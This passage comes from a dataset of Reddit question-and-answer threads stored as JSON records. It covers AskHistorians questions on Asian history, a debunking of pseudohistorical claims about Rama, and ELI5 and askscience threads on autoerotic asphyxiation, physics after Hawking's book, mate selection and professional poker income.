question I haven't been able to fully decide for myself yet in my (so far brief) study of Chinese history.  The theme of dynastic rise, decay and fall is so clear throughout the history of the region, and in many respects the rise of the Communist party--taking over the country through military force after a period of warlordism and political fragmentation--very closely resembles the rise of past imperial dynasties like the Qin or the Tang.  But I'm not sure whether or not the similarities are superficial.  Historians tend to characterize political developments of the 20th century and beyond as being fundamentally different from those that came before; I'm on the fence about whether I agree.", "which takes more credit for Singapore's success?  The heritage of the British infrastructure and legal traditions, or the governance they've had since independence?", "Hi AsiaExpert! You might remember me from another thread. I, like many others, appreciate you with your knowledge and extremely detailed answers.\n\nI am working on my paper (as you might remember) and I came to the conclusion that regardless of our knowledge of the outcome of World War II, kamikaze attacks were probably the best thing that Imperial Japan had going for them. They were losing nearly every battle and not utilizing their ships/men prior to Leyte Gulf. And it looks like kamikaze attacks destroyed more ships with the least amount of material and men being used. \n\nWhat would you say, were the kamikaze attacks detrimental to Japan's strategy or successful?", "I have a question about Samurai during the Sengoku Jidai.\n\nIt appears that it was a very closed caste, by that I mean that you had to be born into it.\n\nBut how many were they at the beginning of the era? How many survived the wars? Were all the children of Samurai able to become Samurai themselves or was it only the eldest child?\n\nThank you for doing this AMA, it's always a pleasure to see you in threads.", "Ive read somewhere that a week or so after WWII ended, a enormous storm wrecked havoc upon the pacific fleet anchored at Okinawa. Was this their famed kamakazi they were waiting for? If this were to happen during the invasion of Okinawa would this have bought japan more time?", "1.  What is the main difference between Zen, Shinto, and Buddhist philosophy?  It seems that Japan has the majority of Zen believers compared to the rest of Asia, why is that?\n\n2.  I'm really into food, especially cuisines that center around the ever essential Chili pepper such as: Sichuan, Thai, Vietnamese.  For each country that you specialize in, is there a such thing as Ambrosia(ambr**ASIA**) in their historical writings?\n\n3.  This is just a personal question.  I've been training martial arts almost all of my life, dabbling in a bit of different fields.  Karate, Muay Thai, Jiu-Jitsu.  I'm at the point in my life where I feel that I am confident that I can defend myself and I no longer have that desire to train with the same intents I had when I was younger.  I've always been fond of B-Boying and its similar sub-culture to martial arts(Kinesiology, Strength, Artistic Output, Flexibility, Skill-building, Discipline).  It is essentially the art that is birthed from Bruce Lee's quote, \"The art of fighting without fighting\". What is your opinion on the art of B-Boying, especially since it is a huge activity in Korea?  And to tag on to this, are there any martial arts that you participate training in?", "I have some questions about foot binding in China. I'm sorry if some of these are rather specific, please just answer what you can! Thank you so much in advance. I've always been super curious about this topic but don't know anything about it.\n\n**First, general data:** \n\n1) What was the timeframe in which foot binding was practiced? When did it peak in popularity? \n\n2) How widely was it practiced at its peak (in terms of population percentage)? \n\n3) How widespread was it geographically (for instance, was it ever practiced in Korea, Mongolia, Vietnam? Was it exclusively practiced in the coastal areas?, etc)? \n\n4) Logistics: What was the procedure like? Were multiple procedures necessary throughout a girl's life? What was the ideal age at which a girl's feet would first be bound? How many suffered fatal or near-fatal infections or other complications from the procedure? \n\n**Second, the social world of foot binding:**\n \n5) Can you please talk about the demographic variations (among different classes, ethnic groups, etc) of people who participated in foot binding? (My very uneducated guess is that this was a more upper-class thing?) \n\n6) Were there special doctors that would perform the procedures? How did one become a foot-binder? *Why* would one become a foot-binder? Were these people seen as medical practitioners and/or did they serve as ritual functionaries? \n\n7) What were the social practices surrounding the procedure? Let's say I'm a Chinese parent at the peak of foot binding popularity and I have a daughter of the ideal age to get it done. Walk me through the steps of finding someone to do it, getting it done, any post-procedure behaviors, etc. (Was there a spiritual/religious/ritual element? Was extended family involved in any way? Was there any special status conferred on the child before or after the procedure?) \n\n**Lastly, questions of discourse:** \n\n8) What did people *say* about foot binding? How did this discourse vary over time (when it started/at its peak/when it ended)? In other words, what did it mean to people? \n\n9) Women's voices: Are their records of women speaking out against (or in favor of) the practice? Diaries of girls describing their experiences? What kind of language did they use to express their experiences?\n\n10) When foot binding ended in the 20th century, what was the tenor of the debate? What were the major arguments for and against it? Why did the practice ultimately die out?", "Any books about the Sengoku period you would recommend? I'm sort of embarrassed by the fact that my knowledge of that era comes almost entirely from video games and movies.", "EVERYBODY! This is r/Ask**Historians**. We focus on **history**! As per the sidebar:\n\n >  **Questions:** Make sure they're about ***history*** and not the present day; for r/askhistorians' purposes, that means confining yourself as much as possible to events that took place earlier than 20 years ago (pre-1992).\n\nPlease stop asking questions about current trends in Asia, or future possibilities. If you have legitimate questions **about Asian history**, please ask feel free to ask them. Otherwise, you're wasting AsiaExpert's time.\n", "Were beards ever really in style in old timey Korea? It seems like all of the famous dead people like King Sejong and Lee Sunshin had pretty majestic beards, but was there ever a time when some rice farmer or swineherd would be likely to have a beard? Also, when and why did beards go out of style? I haven't noticed any present day celebrities, politicians, or other important people in Korea with beards, and Koreans sometimes tell me that my beard is dirty. ", "Why did China never grow to envelop the Korean peninsula permanently? Considering the multi-ethnic character of the state, it doesn't seem like it would be entirely unprecedented for it to have become another province. That and the fact that Korean culture is very heavily sinacized always made me wonder why Korea is independent while a place like Canton is not.", "If you had to define Asia as a continent, what would be its boundries?", "How far back does [Horimono (Full body Japanese tattooing)](_URL_0_) date? What is its significance and origins?\n\n  \nThanks for taking your time out to do this, I submitted this on a whim, because the style interests me!", "how did the Gang of 4 lose power in China in 1976 or when Mao died?", "I'm very curious about other culture's attitude and perceptions toward the west. For example, do they care at all about classical western history? Is there any country in Europe that they sort of fetishize the way many westerners fetishize Japan?", "Damn, I've been looking forward to this for a while and it happened in the middle of the night here. I hope you get to this eventually. Your answers are always an absolute joy to read. Three questions:\n\nFirst, a while ago someone asked a question here about Japanese Neo-Confucianism and its relation to Chinese Neo-Confucian. Because I know plenty about Chinese Neo-Confucianism I was able to give a partial answer, but I know very little about Japanese Neo-Confucianism other than that it was there. What can you tell me about the way the tradition evolved in Japan, was viewed by the intellectual milieu and if it had any institutional influence over the state?\n\nSecond, on a related note, I would like to ask about Japanese intellectual trends, particularly from the 'early-modern' era on, say, from the Tokugawa period. What were the political philosophies that shape government policy? What about average people at the time? Would they have been participating in the same religious or philosophical traditions (albeit at a lower level) as the upper classes? I've heard that Zen was popular among the samurai class. I hear references all the time to 'state Shinto'; did that encompass a philosophical tradition that would have been alluded to in policy making in the way that Confucius was in China (or Abrahamic religions sometimes are in the west) or was its significance more symbolic?\n\nLastly, not a standard question, but I would like to request the Asia expert shortlist of books on Japan and Korea that I will read immediately. (I mean, if you have any spectacular suggestions on China, I'll take them too, but I feel a clearer need to pad out the Japan and Korea shelves of my library.)", "Sorry, this isn't that relevant, but I'm an EAS major and I am dying to know how you managed to get all three? Even as an ungrad there is some level of pick your country, and I know that gets even more specialized as you go on. \n\nI have never met a professor or any higher ed figure with any strong background in more than one Asian country, so what do?", "Hi AsiaExpert! i'm a big fan! \n\nmy question is, when Wu Zetian took over, what were the general reaction from the public? I think it's quite interesting how she gained power and eventually made herself an emperor. Being a woman, why did she not pass on her throne to her daughters? ( if she had any)\n\nmy second question is about Guan Yu from the three kingdom period. Throughout Chinese history, Guan Yu was regarded as a hero and is worshiped by many people; however, I've also heard that he was just a drunk  that knew how to fight (red face and aggressive, etc). I guess my question is, why do people worship him so much? to the point where temples were built for him.   ", "I've always been interested in the position of eunuchs in chinese society and political life. How did eunuchs first become a part of chinese life, and how did they ascend to such heights of power? Also, could you give some insight on their decline and fall?", "Here are some historical questions!\n\n1: What is the consensus that the Emishi and Ainu of Japan were the same group?\n\n2: How big were the horses used by the Samurai compared to that of mainland Asia?", "Particularly familiar with Singapore? How so?\n\nNot trying to sound rude, just genuinely curious :)", "I have a few questions.\n\n* Why exactly do you think Japan ended its period of isolation, was it simply due to the threat of force from the arrival of Commodore Perry? \n\n* How was it that Japan went from being an essentially feudal state in 1860 to a major industrial and military power by the early 1900's?\n\n* Were there any major events in which the seclusion laws were broken  or did Japan remain totally off the world diplomacy table for the whole period?\n\nAny recommended reading on this subject would be appreciated. Love your work.", "What caused such a tremendous decline from the booming, prosperous Qing Dynasty that ended in 1912 to the currently still developing modern China?  Is there a specific reason that modern China decided to model its government off of a foreign ideology in 1949?  I'm curious, because it seems like up until the late 19th century, China was right on track to becoming the most prominent country in the world.  What the hell happened?", "I apologize if this question is overly vague. Given how many myths and allegories have been incorporated into the histories, what do we know about the spread of martial arts (chuan fa, karate, etc.) throughout Asia? Could you recommend any books that outline this?", "I am getting this feeling that you are Chinese after reading several comments. Am I right? "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://en.wikipedia.org/wiki/Lost_Decade_(Japan\\)", "http://www.guardian.co.uk/world/2012/dec/03/japan-tunnel-collapse-victims", "http://en.wikipedia.org/wiki/Yangban", "http://en.wikipedia.org/wiki/Sakoku", "http://blogs.wsj.com/japanrealtime/2012/12/03/japan-tunnel-collapse-sparks-concerns-over-aging-infrastructure", "http://en.wikipedia.org/wiki/Man%27y%C5%8Dgana", "http://www.nri.co.jp/english/opinion/papers/2008/pdf/np2008137.pdf", "http://en.wikipedia.org/wiki/Kanbun", "http://www.theverge.com/2012/11/15/3628376/japan-digital-content-ecosystem-hulu-country-future", "http://www.kakekotoba.com/2012/11/introduction-to-konjaku-monogatarishu.html", "http://www.kakekotoba.com/2012/08/introduction-to-shunshoku-umegoyomi.html", "http://www.amazon.com/World-Shining-Prince-Ancient-Kodansha/dp/1568360290", "http://en.wikipedia.org/wiki/Hanja", "http://en.wikipedia.org/wiki/Sejong_the_Great", "http://en.wikipedia.org/wiki/Gabo_Reform", "http://en.wikipedia.org/wiki/Joseon", "http://www.kakekotoba.com/", "http://en.wikipedia.org/wiki/Japanese_asset_price_bubble", "http://en.wikipedia.org/wiki/Idu_script", "http://en.wikipedia.org/wiki/Gugyeol", "http://en.wikipedia.org/wiki/Meiji_Restoration"], [], [], [], [], [], ["https://nfb.org/images/nfb/publications/bm/bm02/bm0205/bm020511.htm"], [], [], [], [], ["http://www.reddit.com/r/AskHistorians/comments/141vzn/why_did_china_recover_more_quickly_from_the_fall/"], [], [], [], [], [], [], [], [], [], [], [], ["http://en.wikipedia.org/wiki/Taiping_Rebellion"], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], ["http://www.youtube.com/watch?v=FmjKAa7Samo&amp;noredirect=1"], [], [], [], [], [], [], [], [], [], [], [], []]}
{"q_id": "dtv6e5", "title": "According to Historians, is it possible that Rama from Indian epic Ramayana existed in any way?", "selftext": "Ok, so I am from India and many people around here believe that he was real, even though some of us know that Ramayana, Mahabharata are myths. Now I always thought that this was the case, but I thought of peddling into some Hindu fundamentalist websites. Here is one:\n\n[_URL_2_](_URL_2_)\n\nNow, here are some of the things they claim:\n\n1. Archeologists found a half-lion and half-human statue in a cave called Stadel Holhe around 40k years ago. Googled it and found it was correct [_URL_1_](_URL_1_) The website claims this is actually a statue of one of the incarnations of Vishnu\n2. Carvings in Silemania, Iraq that looks like a man with a bow with a guy sitting in front of him in the way Hanuman is depicted with Rama. Googling gives you a lot of links to shady websites, nothing really authentic.\n3. They claim Egypt is comes from 'Ajapati' and was Vaishnavic before Islamic. For evidence, they point towards two emperors - Ramesses (they claim comes from Ram) and Sitamun (they claim comes from Sita) and the triad of Amun (depicted as blue in color), Mata and Khonsu, which kind of feels similar to Ram-Sita-Laxman trio\n4. An ancient Vishnu idol was found in Russia. I searched and found it was true: [_URL_0_](_URL_0_)\n5. South American civilization Incan empire have similar gods like Hinduism, which I found to be true. They claimed a guy named Senor Vincente Lopez said that there was Aryan race in South America which I couldn't find. They also talked about Trident of Peru, a mountain with a picture of Trident etched in it and that Ramayana have a reference of it. Wiki says the origin, date of creation of Trident of Peru is unknown\n6. They claim the name Rome is a misnomer for Rama and that the city Ravenna is a misnomer for Ravana. According to Wiki, origin of  the name of Ravenna is unclear and the origin of the name of Rome is \"Several hypotheses have been advanced focusing on its linguistic roots which however remain uncertain\"\n\nSo, is it possible that Rama existed given all the references around the world? Yes, some of them are false but most of them are tagged as 'unclear', so, can we speculate that those cases, for example Rome and Ravenna, meant Rama?", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/dtv6e5/according_to_historians_is_it_possible_that_rama/", "answers": {"a_id": ["f71rcy1", "f72j120"], "score": [66, 18], "text": ["There is no evidence that R\u0101m\u0101 was a historical person, though there is little evidence to counter that either.  The claims made above are, frankly, absurd.  I see not a single thing that can be called completely correct.  It is full of half truths and outright fabrications.  I'm going to debunk each claim in turn:\n\n1. The Lion man is a spectacular statue, one of the first and finest examples of figurative art in the world, but beyond that we know next to nothing.  Is it male or female? Both? Neither? Is it a God, a Spirit, a Human with a mask? We don't know.  What we do know is that Vi\u1e63\u1e47u as a concept did not exist yet, especially the Da\u015b\u0101vat\u0101ra Narasi\u1e43ha, which we can date to the Gupta period or slightly before during the composition of the Pura\u1e47as.  Hinduism, or more properly the cults that now make up Hinduism are descended from Vedic religion, itself descended from Proto-Indo-European religion.  The PIE culture began to develop some 8,000 years ago in the Pontic Steppe before splitting off into various descendants who we now recognize.  The Indo-Aryans mad their way to India sometime in the 15th or 16th century BCE and spread until they were the dominant culture in North India, bringing their religion along with them.  Vi\u1e63\u1e47u appears in the later mandalas of the \u1e5agveda and has a very different role from the godhead cult that would develop around the 6th or 5th century BCE.  As such, we can probably call this bunk.\n\n2. Like you said, this is pretty out there to begin with and is very weak, if we were to count every figure that kind of looks like a guy sitting in front of another with a bow, we would be drowning in examples.\n\n3. The word \"Egypt\" comes from Greek *\u0391\u1f34\u03b3\u03c5\u03c0\u03c4\u03bf\u03c2* or Aigyptos which according to the Oxford English-Greek dictionary comes from Hut-ka-ptah which was old Egyptian for the \"House of the Body of Ptah\" or \"Kingdom of Ptah.\"  The Egyptian name for Egypt was Kemet. So that's one down.  Part 2 of this is even more bizarre and an Egyptologist could tackle this better but let me put it this way, Hinduism never spread to Egypt, the Egyptians practiced an eclectic mix of religions throughout their very long history and by the Roman era had become a cosmopolitan place of Hellenistic, Egyptian, Gnostic, Persian, and Christian Religions, with Coptic Orthodox dominating by the End of Roman Rule and continuing to be the dominant, but not ruling, religion until the end of the 1st Millennium CE.  This is not to say that the Egyptians were completely unaware of Hinduism, South Indian traders occasionally made there way there, but they didn't stick around.\n\n4. Near as I can tell, there are only Indian sources which claim that it is \"ancient\" and an \"idol\" others call it a portable relief. In any case, it is dated to between the 7th and 10th century at a time when there would have been trade with India, so finding an idol or two there would not be especially odd, given that these were precious pieces of art.\n\n5. I'm not sure what to even say about this one other than no.  The settlers of America had been more or less cut off from Asia for about 10,000 years by that point and the idea of an \"aryan race\" is so outdated and steeped in racism that it is pretty offensive.  Anthropologists now have completely rejected the idea of race as a biological reality.  If we are talking from an ethnolinguistic perspective the answer is still no, because the major point of contact between the Americas and Afro-Eurasia had been severed for well over a thousand years before the PIE language or mythology is known to have existed, let alone what we would think of as \"Indian.\"  We can find similar gods just about everywhere if we look hard enough.  This process is similar to the psychological process of apophenia, or seeing patterns where there is randomness.  In anthropological terms, we are projecting our preconceived notions of what a culture and religion should have onto the culture and religion without considering the inside perspective on it and blocking out the counter evidence.\n\n6. No, I don't know Latin, but I'm pretty confident the answer for this is no, otherwise we would see *some* echoes of R\u0101m\u0101 or even remotely Hindu style worship there, but we really don't.  When Romans encountered Hindu religion, they seemed somewhat confused, but did seem to appreciate it.  They seemed most impressed with the \u015arama\u1e47as who they encountered since they had a tendency to burn themselves alive, which impressed the Romans.  However, they seemed to have had fairly limited contact with Hinduism.  This is not to say that there are no links between Hellenistic (and later Roman) philosophy and religion and Indian, far from it, but these connections post-date the historical and mythical founding of Rome.\n\nNow, could R\u0101m\u0101 have existed?  Perhaps, the R\u0101m\u0101ya\u1e47a probably dates back to around the time of the Buddha or just before and was passed down orally for many centuries before being written down.  It, unlike some Indian scriptures which are *mostly* reliable to some extent, was probably modified and improvised by each new teller and saw a huge amount of expansion towards the Gupta era.  The oldest versions we have are fairly late, the 10th century CE, but we know it predates that.  Insofar as I can tell, R\u0101m\u0101 had a developed cult by the 4th century CE in some fashion, probably as a folk hero, and was incorporated into Vai\u1e63\u1e47ava doctrine sometime after.\n\nI realize that I'm sounding harsh and dismissive here, especially when R\u0101m\u0101 is so dear to Hindus, and I don't mean to.  As a historian I'm somewhat obligated to point out baseless claims, especially when they are tied to dangerous ideologies.  R\u0101m\u0101 could absolutely have been a real king of a small kingdom during the Mah\u0101janapada era or the late Vedic era.  From a historical perspective, he probably didn't fight a massive demon with a king of the monkeys, but that is me speaking as a historian and history and religion don't always mesh well.  The only thing I can say for sure is that we have no evidence of him existing outside of the R\u0101m\u0101ya\u1e47a and that only establishes that an epic was composed, but that doesn't mean that people should just drop everything and say he didn't.  I guess I am rambling now, so I'll end this here.", "\"A vaguely resembles B, ergo B is A,\" is not a valid argument, it's archaeological pareidolia. \n\nTo address even point 5 of this delusion, \"similar gods like Hinduism\" means nothing. Many deity complexes across cultures have similarities, because the basics of human-environment interactions are similar. Many cultures, for instance, have storm and sun gods, because, as it turns out, many places have exposure to storms and the Sun. \n\nGeneral similarities prove nothing other than the universality of human experience and proximate causes are preferred over more exotic explanations. For instance, the existence of a geoglyph in a region known to have geoglyphs, and the particular  glyph appearing to be consistent with iconography of the region, should suggest a local creation for the geoglyph. The hypothesis of the geoglyph being created by an outside entity is an extraordinary claim requiring extraordinary evidence, not vague eyebrow waggling in the direction of several millenia of unrelated iconography. \n\nLikewise, claims of relatedness need to be examined on their evidence, not simply circumstantial pattern finding. It is not enough to state that something begins with \"Ram-\" and is therefore related to the Ramayana. For one, human speech can only create so many so many sounds and any given system of othrography is even more limited. For instance, the claim that the Inca had a festival called Rama-Sitva relies on an outdated source published in 1884 by someone with no experience in Quechan languages. Even the most generous interpretation of this outdated source would have to point out that there is no such festival called \"Rama-Sitva,\" though there is a festival called Inti Raymi, which is... not linguistically related at all to Rama.\n\nSimilarly, any merit of a connection based on \"a guy named Senor Vincente Lopez said that there was Aryan race in South America\" does not even pass minimal examination. The only reference I could find to such a claim is a citation in the *Report of the Commissioner-general for the United States to the International Universal Exposition, Paris, 1900, Volume VI,* which appears to be little more than a listing of all the various activities occurring at that particular world's fair. Among such attractions was a talk delivered by one M. V. Henry on the topic of \"The Quichua: is it an Aryan Language? A critical examination of the work of Don V. F. Lopez, \"The Aryan races in Peru.\"\n\nTry as I might, I have been unable to locate the text of *The Aryan races in Peru*, but there is a review and summary of the work in an 1887 work by \"an Americanist\" named S. F. Walker in the book, *The Ruins Revisited, and the World-story Retold*. This text cites a review of Lopez by an otherwise unidentified \"Mr. Lang\" which lays out a highly circumstantial argument for linguistic connections between Quechua and \"Aryan Languages.\" Similar shallow arguments can be found linking American languages to everything from Japanese to Hebrew, and all are similarly without merit. In fact, the text continues by citing a \"Dr. Falb\" as asserting that \"the Quichua and Armara languages 'exhibit the most astounding affinities with the Semitic tongue,'\" and that \"these Peruvian languages are 'universally Aryan.'\" Modern linguistics, of course, place Semitic languages in the Afro-Asiatic language family, which is outside the Indo-European group, but when we are dealing with 19th century blithering about \"Preadamite\" origins we are not exactly dealing with rigorous linguistic investigation.\n\nObviously this is just a general refutation on only one of the bullet points you have put forth, but it is consistent with most debunkings of pseudohistory in that the implied connections between cultures evaporate at even the most cursory glance, and that debunking a single sentence requires paragraphs of explanation. As Mark Twain said, \"a lie can travel halfway around the world while the truth is still putting its shoes on.\" Also, Mark Twain never said that, but debunking the origin of that quote would [require an entire article unto itself](_URL_0_), although the basic truth of the aphorism remains. It is very easy to cherry pick from thousands of years of visual and written works in order to support a pre-ordained conclusion. Less easy is actually learning the history and iconography of a particular culture in order to understand it on its own merits, as opposed to relying on hyper-diffusionist fairy tales."]}, "title_urls": [], "selftext_urls": ["https://timesofindia.indiatimes.com/world/rest-of-world/Ancient-Vishnu-idol-found-in-Russian-town/articleshow/1046928.cms", "https://en.wikipedia.org/wiki/Lion-man", "http://lordrama.co.in/sri-rama-and-vedic-history-of-the-world.html"], "answers_urls": [[], ["https://www.nytimes.com/2017/04/26/books/famous-misquotations.html"]]}
{"q_id": "bu7t5s", "title": "what is autoerotic asphyxiation and how can one die from it?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/bu7t5s/eli5_what_is_autoerotic_asphyxiation_and_how_can/", "answers": {"a_id": ["ep82ygi", "ep83bnw", "ep83lx7"], "score": [11, 4, 3], "text": ["Deriving sexual pleasure from being choked or choking yourself. You die because well, without oxygen ....", "Autoerotic asphyxiation is when someone suffocates themselves in order to pleasure themselves. It isn't intentional suicide, but a search for a sort of high that comes from near suffocation that synchronizes well with masturbation. Of course, while this could feel good, choke yourself too long and you're dead.", "Auto means \"self\"\nErotic means \"sexual\"\nAsphyxiation means \"not breathing\"\n\nAll together it means giving yourself sexual pleasure while depriving yourself of air. \nApparently it feels extra good or something.\n\nIf you asphyxiate for too long you pass out or die."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "kmrf5", "title": "Having just finished \"A Brief History of Time\", what developments have occurred since its publication?", "selftext": "The general impression I received from Hawking that he thought a number of breakthroughs would be reached by 2000 - as someone who is largely ignorant of theoretical physics, how much has been achieved?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/kmrf5/having_just_finished_a_brief_history_of_time_what/", "answers": {"a_id": ["c2li1mn", "c2lizmq", "c2lj0wo", "c2ljqyg", "c2li1mn", "c2lizmq", "c2lj0wo", "c2ljqyg"], "score": [17, 4, 16, 2, 17, 4, 16, 2], "text": ["I think one of the most important since then is precision mapping of the cosmic microwave background. This has given us some interesting information about our universe, namely that the curvature appears to be zero (within some error bars positive and negative). The [WMAP website](_URL_0_) is becoming one of my favorite resources here, particularly their \"universe tutorial\".", "This was before supernova observations gave evidence for dark energy, and just about the time that dark matter was getting accepted as standard. This was also right before we started being able to do decent 2D and 3D models of stars and galaxies - though that's less \"fundamental\" physics, and more just details in how everything works.\n\n[This](_URL_0_) is our current cosmological model of the universe.", "**Experimental developments:**\n\nThe universe is accelerating, not just expanding.\n\nNeutrinos have mass.\n\nThe CMB polarization was very accurately measured.\n\n**Theoretical developments:**\n\n\"Second Superstring Revolution\" and M theory.\n\nADS-CFT correspondence.\n\nThis is only stuff relevant to what he talks about in the book, not all of physics. Physics is much, much bigger than what Hawking deals with.", "Well he had come to a conclusion at around the time that book was written that information gets lost VIA black holes. \n\nHe now had restated that claim as false, that information is not lost, rather preserved in a different universe that do not have black holes. \n\nThat was a very vague generalization of course, interesting thought non the less. Especially that he recognizes the multi-verse theory which is something that is also extremely fascinating to think about.", "I think one of the most important since then is precision mapping of the cosmic microwave background. This has given us some interesting information about our universe, namely that the curvature appears to be zero (within some error bars positive and negative). The [WMAP website](_URL_0_) is becoming one of my favorite resources here, particularly their \"universe tutorial\".", "This was before supernova observations gave evidence for dark energy, and just about the time that dark matter was getting accepted as standard. This was also right before we started being able to do decent 2D and 3D models of stars and galaxies - though that's less \"fundamental\" physics, and more just details in how everything works.\n\n[This](_URL_0_) is our current cosmological model of the universe.", "**Experimental developments:**\n\nThe universe is accelerating, not just expanding.\n\nNeutrinos have mass.\n\nThe CMB polarization was very accurately measured.\n\n**Theoretical developments:**\n\n\"Second Superstring Revolution\" and M theory.\n\nADS-CFT correspondence.\n\nThis is only stuff relevant to what he talks about in the book, not all of physics. Physics is much, much bigger than what Hawking deals with.", "Well he had come to a conclusion at around the time that book was written that information gets lost VIA black holes. \n\nHe now had restated that claim as false, that information is not lost, rather preserved in a different universe that do not have black holes. \n\nThat was a very vague generalization of course, interesting thought non the less. Especially that he recognizes the multi-verse theory which is something that is also extremely fascinating to think about."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://map.gsfc.nasa.gov/"], ["http://en.wikipedia.org/wiki/Lambda-CDM_model"], [], [], ["http://map.gsfc.nasa.gov/"], ["http://en.wikipedia.org/wiki/Lambda-CDM_model"], [], []]}
{"q_id": "c7plbe", "title": "why do humans generally look for the least challenging ways to complete almost all tasks and goals, but want/need a challenge for finding a mate?", "selftext": "Edit: Since people might not get what I mean as these comments may suggest, why do humans generally love the thrill of the chase? It\u2019s a form of challenge, and a lot of people need the chase to be sexually interested in their parter.", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/c7plbe/eli5_why_do_humans_generally_look_for_the_least/", "answers": {"a_id": ["esgu22b", "esgubve", "esgupm0", "esgvm0a", "esgw8ip", "esgz7u8"], "score": [12, 3, 2, 7, 3, 2], "text": ["Less challenge = less risk = more chance of survival. It's an evolutionary trait: avoid unnecessary risk. \n\nIt's the same reason why people sometimes don't like change. Change could be risky. better safe than extinct. \n\nIt's not perfect because evolution is not perfect. Evolution is barely good enough.", "When trying to survive, you want to do things as efficiently as possible, wasting energy makes survival more difficult. \n\nWhen selecting a mate however, you want someone that is clearly more capable than the bare minimum needed for survival, so that there's some margin for tough times and supporting children.", "The insane amount of human trafficking going on in the world pretty much contradicts the \"but\".\n\nThe rest can be attributed to the path of least resistance.", "What do you mean by challenge finding a mate? I never heard anyone say \"Nah I don't want to marry this person because that would be too easy\"\n\nWe do have a drive to find a \"good\" partner though, because it increases your chances of having fit children that pass on your genes.\n\nBut anyone who puts insane requirements on potential partners is likely having other problems like having a fear of relationships and trying to justify being a single without losing his face.", "The more challenging a mate is to get, the more likely it is that you'll have them all to yourself. Sexual exclusivity is valuable because it means no illegitimate children, or from a female perspective, more fatherly attention for your children.", "People want someone who likes them for them, not someone who is just with them for convenience sake. They want to feel like they earned it."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], []]}
{"q_id": "94m4oy", "title": "how do professional poker players make a sustained income, when they are against other pro-poker players?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/94m4oy/eli5_how_do_professional_poker_players_make_a/", "answers": {"a_id": ["e3m0mi3", "e3m0rd3", "e3m0z5o", "e3m1ei7", "e3m3rdu", "e3m4gso", "e3m4j4k", "e3m5jx3", "e3m6y0b", "e3m7n9p", "e3m7on8", "e3m7skp", "e3m7ue2", "e3m7xsq", "e3m87kj", "e3m8l31", "e3m8lmi", "e3m8qj7", "e3m9171", "e3m956v", "e3m9p83", "e3m9qja", "e3m9w9v", "e3ma1bj", "e3ma7bq", "e3mae5f", "e3mair2", "e3maooh", "e3mb4ub", "e3mb8ci", "e3mbnex", "e3mcx24", "e3me8eu"], "score": [35, 4333, 299, 986, 5, 783, 169, 5, 55, 20, 4, 13, 3, 6, 6, 50, 3, 4, 2, 2, 8, 3, 3, 2, 2, 6, 2, 3, 2, 2, 3, 2, 3], "text": ["Not everyone is a professional. Many more non professionals that don\u2019t make all their money, play and lose than those that make their money playing.", "Some professional poker players make much of their regular income playing against wealthy non-professionals.  A high-rolling sports player or banker or whatever will generally happily lose a lot of money for the privilege of playing against one of the top poker players in the world.", "It's also worth noting that there's a lot of tournament deal making at large tournaments, which makes the prize pool not so top heavy.  Perhaps the last four players decide to split - everyone gets a percentage of the combined top 4 prizes.  Other times, players will buy a percentage of winnings.  I'll pay $10000 for 5% of your winnings.  You're guaranteed $10000, and I get a large cut if you go far.", "1. High stakes games are often built around a few wealthy players who are not pros and who usually lose a lot of money to the pros.  With seven pros and three rich guys who are almost sure to lose, most of the pros are likely to come out way ahead.\n\n2. Mid-stakes are where most pros play, and non-pros far outnumber pros in those games.  A large fraction of pros just grind out a $50,000 or so income in these games in local casinos around the country, and aren\u2019t trying to play against the top guys in the world.\n\n3. Tournaments typically have far more non-pros than pros.", "The seriously professional people (Phil Ivey, Daniel Negreanu, Chris Moneymaker ^^real ^^name. ^^Awesome, ^^right? , etc...) are sponsored. Those sponsors buy their seat at the table (sometimes 10's of thousands of dollars) in exchange for wearing their gear (hats, shirts) on the premise that they get the most TV time and the most ad space. \n\nThey play so many tournaments that it's just the law of averages they get to a point that they are guaranteed a payout. If you make it basically halfway into the tourney, you're \"in the money.\" The further you go, the more you make.\n\nThe people who play that don't devote their lives to poker, usually play in weekend tournaments and have a regular job and just play these smaller weekend tourneys. \n\n", "Professionals will actively avoid playing directly against other professionals.  On the TV shows where the pros are all at the same table, they play each other to get sponsorships, TV exposure, etc.", "Sponsorships which only became big after internet poker must help a lot.\n\nIt is very hard to pay expenses in a physical tournament: travel/lodging/food/entry fee (house cut, I mean) and come out ahead in the long run. Many top players or players who had a string of successes end up in serious financial difficulties.", "I'm not professional but have been training/studying no limit holdem online for about 1.5 years. Firstly the house takes a big chunk of winnings. You have to have at least 1 recreational player at the table or nobody except the house will make money. Pros study hard to try to gain a small edge over other pros but the vast majority of profits come from recreational players. Basically, pros make money from the recs, not from other pros.", "Not all players make it pro or stay pro for long.  There are plenty of losers out there you've never heard of  ", "There's always someone at the table who is the weakest player, usually not a pro. The pros at the table all quickly figure out who that weak player is. The pros will try to isolate the weaker player(s) in each individual hand. So if one pro \"makes a move\" on a weaker player, unless another pro has a very strong hand, they will know enough to \"get out of the way\" and fold. This enables the pros at the table to: 1) avoid going up against each other, 2) makes the hand less complex to play for the pro with the fish on the hook, and 3) allows every pro at the table to take their shot at weaker players stacks.\n\nOf course, it's poker...so you never know what the outcome will be. That's why even pros don't allows go home winners. But by minimizing the risks of losing, or putting their stack at risk against stronger players or bigger stacks, they can increase their chances of walking away with someone else's money.\n\nIt's simply (not so simple) a matter of picking your spots and knowing when to act and when not to act.", "It's true that if there is a rake (a portion taken by the house for holding the game) then the average player at every single table is losing money.  \n\nBut there are two main strategies:  \nMoney trickles up in a sort of pyramid.  The worst players loose to slightly better players who may try to play better players at higher stakes, on and on, all the way up.  \n\nThe other strategy: Table selection.  These days, it may be more like \"Table creation-\" Good players generate social capital and invite wealthy/famous/partier/wanna be Matt Damons etc. who they know they can beat.\n\n", "Also, some pros are better than others. And some pros are worse against you than others. Completely unsubstantiated info here since my pro days were mid stakes grinding, but Phil Helmuth is 